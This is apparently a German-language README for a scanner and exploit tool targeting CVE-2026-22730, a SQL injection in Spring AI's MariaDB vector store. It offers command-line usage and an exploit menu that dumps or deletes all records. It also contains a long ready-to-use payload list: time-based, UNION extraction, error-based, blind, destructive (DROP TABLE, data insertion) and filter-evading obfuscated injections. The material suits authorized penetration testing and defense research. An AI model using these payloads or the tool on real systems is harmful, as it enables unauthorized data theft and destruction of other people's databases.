
Scanner- und Exploit-Tool für CVE-2026-22730, eine SQL-Injection im MariaDB-Vektor-Store von Spring AI. Unterstützt zeitbasierte Erkennung, GET/POST-Methoden und Exploitation mit Berichterstattung.
CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection
Ein professionelles Sicherheitsbewertungstool für CVE-2026-22730 – eine kritische SQL-Injection-Schwachstelle, die im MariaDB-Vector-Store von Spring AI entdeckt wurde. Dieses Tool ermöglicht autorisierten Penetrationstestern und Sicherheitsforschern, die Schwachstelle zu erkennen und sicher zu exploitieren – für Bildungs- oder Verteidigungszwecke.
📖 Übersicht
CVE-2026-22730 betrifft Spring-AI-Versionen 1.0.x < 1.0.4 und 1.1.x < 1.1.3 bei Verwendung des MariaDB-Vector-Stores. Aufgrund unsachgemäßen Escapings von String-Werten in Filterausdrücken kann ein Angreifer beliebiges SQL über benutzergesteuerte Parameter (z. B. Metadatenfilter) injizieren. Dies kann zu Folgendem führen:
Unbefugter Datenabruf – Umgehung von metadatenbasierten Zugriffskontrollen
Vollständige Datenbanklöschung – Löschen des gesamten Vector-Stores (destruktiv)
Stille Datenlecks – in RAG-Pipelines werden geleakte Daten ohne Erkennung in LLM-Antworten eingebunden
Dieses Tool bietet eine sichere, konfigurierbare Methode, um das Vorhandensein der Schwachstelle zu verifizieren und ihre Auswirkungen (mit ausdrücklicher Zustimmung) während autorisierter Sicherheitsbewertungen zu demonstrieren.
🚀 Funktionen
✅ Zeitbasierte Erkennung – verwendet SLEEP()-Injection zur Bestätigung der Schwachstelle
✅ Mehrere HTTP-Methoden – unterstützt GET (Query-Parameter) und POST (JSON-Body)
✅ Anpassbare Sleep-Dauer – für Netzwerklatenz oder Stealth-Anforderungen
✅ Exploit-Optionen – alle Dokumente abrufen (SELECT) oder alle löschen (DELETE)
✅ Umfassende Berichterstattung – erzeugt HTML-, JSON- und Klartext-Berichte
✅ Benutzerfreundliche CLI – interaktiver Modus und vollständige Befehlszeilenargumente
✅ Erweiterbares Payload-System – einfache Integration benutzerdefinierter Injection-Strings
📋 Anforderungen
Python 3.6 oder höher
requests-Bibliothek (pip install requests)
🔧 Installation
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Verwendung
Das Skript kann im interaktiven Modus oder mit Befehlszeilenargumenten ausgeführt werden.
Grundlegende Syntax
bash
python cve-2026-22730_scanner.py [Optionen]
Optionen
Option Beschreibung
--url Ziel-URL (z. B. http://localhost:8081/api/docs)
--method HTTP-Methode: GET oder POST (Standard: GET)
--param Name des Query-Parameters für GET oder Referenzname für POST (optional)
--json-template JSON-Vorlage mit PAYLOAD-Platzhalter (erforderlich für POST)
--baseline Harmloser Wert für die Basis-Anfrage (Standard: nicht vorhanden)
--sleep Sleep-Sekunden für die zeitbasierte Erkennung (Standard: 5)
Beispiele
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Sie werden nach URL, Methode, Parameter/JSON-Vorlage, Baseline und Sleep-Zeit gefragt.
Exploit-Workflow
Wenn das Ziel als verwundbar erkannt wird, zeigt das Skript ein Menü an:
text
[?] Ziel ist verwundbar. Exploit-Option wählen:
1. Alle Dokumente abrufen (SELECT-Injection)
2. Alle Dokumente löschen (DELETE-Injection) - DESTRUKTIV
3. Exploit überspringen
Option 1 sendet ' OR '1'='1, um alle Zeilen abzurufen (nicht destruktiv, liest nur Daten).
Option 2 sendet dasselbe Payload mit der HTTP-Methode DELETE – entfernt dauerhaft alle Datensätze. Erfordert eine ausdrückliche Bestätigung.
Alle Aktionen werden protokolliert und in den Abschlussbericht aufgenommen.
📁 Ausgabedateien
Nach jedem Lauf werden drei mit Zeitstempel versehene Dateien im aktuellen Verzeichnis erstellt:
cve-2026-22730_YYYYMMDD_HHMMSS.json – maschinenlesbarer JSON-Bericht mit allen Details.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – Klartext-Zusammenfassung, einschließlich Exploit-Daten, falls vorhanden.
cve-2026-22730_YYYYMMDD_HHMMSS.html – formatierter HTML-Bericht, geeignet zum Teilen oder Archivieren.
⚠️ Wichtiger Haftungsausschluss
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt.
Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie ein Ziel scannen oder exploitieren.
📚 Referenzen
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Original Research Article von SecureLayer7
🤝 Mitwirken
Pull Requests, Fehlerberichte und Feature-Vorschläge sind willkommen. Bitte eröffnen Sie zuerst ein Issue, um größere Änderungen zu besprechen.
📄 Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Entwickelt mit ❤️ von Nabeel
Beispiel für PAYLOAD
Für die Sicherheits-Community
📌 So verwenden Sie diese Payloads
Im Skript ersetzen Sie bei Verwendung von POST mit --json-template das PAYLOAD durch ein beliebiges Payload aus der folgenden Liste.
Für GET-Anfragen übergeben Sie das Payload einfach als Parameterwert (das Skript übernimmt die URL-Kodierung automatisch).
🔥 Payload-Kategorien
Diese verursachen eine Verzögerung, wenn die Injection erfolgreich ist. Verwenden Sie sie, um die Schwachstelle zu bestätigen.
Payload Beschreibung
' OR SLEEP(5) -- Standard-zeitbasiertes Payload. Wenn die Abfrage etwa 5 Sekunden pausiert, funktioniert die Injection.
' OR BENCHMARK(10000000,MD5('a')) -- Alternative für MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Verschachtelter Sleep zur Umgehung einiger Filter.
' OR 1=1 AND SLEEP(5) -- Kombiniert eine immer-wahre Bedingung mit Sleep.
Diese machen die WHERE-Klausel immer wahr und geben alle Datensätze zurück.
Payload Beschreibung
' OR '1'='1 Klassische immer-wahre Injection.
' OR 1=1 -- Eine weitere Variante (erfordert ein Leerzeichen nach --).
' OR ''=' Verlässt sich auf den Vergleich leerer Strings.
' OR 1=1# Verwendet # für den MariaDB-Kommentar (URL-kodiert als %23).
' OR 1=1 LIMIT 1 -- Gibt nur eine Zeile zurück (nützlich für kontrollierte Ausgabe)
Nützlich, wenn die Anwendung Ergebnisse anzeigt. Sie müssen die Anzahl der Spalten abgleichen.
Payload Beschreibung
' UNION SELECT NULL, database(), user(), version() -- Ruft Datenbankname, Benutzer und Version ab. (NULL-Anzahl an Spalten anpassen.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Tabellen auflisten.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Spalten auflisten.
' UNION SELECT 1, content, metadata FROM vector_store -- Aktuelle Daten ausgeben (wenn die Spaltenanzahl übereinstimmt).
Fehler auslösen, die Informationen preisgeben.
Payload Beschreibung
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL fehlerbasiert.
' AND updatexml(1, concat(0x7e, version()), 1) -- Eine weitere Fehlermethode.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Doppelter Schlüsselfehler.
Nützlich, wenn keine Ausgabe oder Fehler angezeigt werden, sich das Anwendungsverhalten aber ändert.
Payload Beschreibung
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Prüft das erste Zeichen des Datenbanknamens.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Prüft die Anzahl der Tabellen.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Testet die Existenz einer Tabelle.
Destruktive Payloads (mit äußerster Vorsicht verwenden).
Payload Beschreibung
' OR '1'='1 Entfernt bei Verwendung mit DELETE alle Zeilen.
' OR 1=1; DROP TABLE vector_store -- Versucht, die gesamte Tabelle zu löschen (erfordert gestapelte Abfragen, oft deaktiviert).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Versucht, neue Daten einzufügen.
Verschleierte Versionen zur Umgehung einfacher Mustererkennung.
Payload Beschreibung
%27%20OR%20SLEEP(5)%20-- URL-kodiert (das Skript übernimmt dies automatisch).
' //OR//SLEEP(5)/**/-- Inline-Kommentare zur Aufteilung von Schlüsselwörtern.
' OR 0x273d27=0x273d27 -- Hex-kodierter Vergleich ('=').
' OR 1=1 /!50000SLEEP(5)/ -- MySQL-versionsspezifischer Kommentar.
Payload Beschreibung
' OR '1'='1 Wird verwendet, um alle Dokumente abzurufen (Proof of Concept).
' OR SLEEP(5) -- Zeitbasiertes Erkennungspayload, das im Scanner verwendet wird.
' OR '1'='1 Wird auch für die DELETE-Injection verwendet.
📝 Beispiel-JSON-Vorlagen mit Payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
Im Skript würden Sie die Vorlage wie folgt übergeben:
bash
--json-template '{"department": "PAYLOAD"}'
Das Skript ersetzt PAYLOAD durch das tatsächliche Payload.
HINWEIS zur URL
Das Skript benötigt die vollständige URL des Endpunkts, der den verwundbaren Parameter akzeptiert. Zum Beispiel:
✅ http://example.com/api/docs – wenn der Endpunkt /api/docs ist
✅ http://example.com/search – wenn der Endpunkt /search ist
❌ http://example.com – nicht ausreichend, das Skript benötigt den genauen Pfad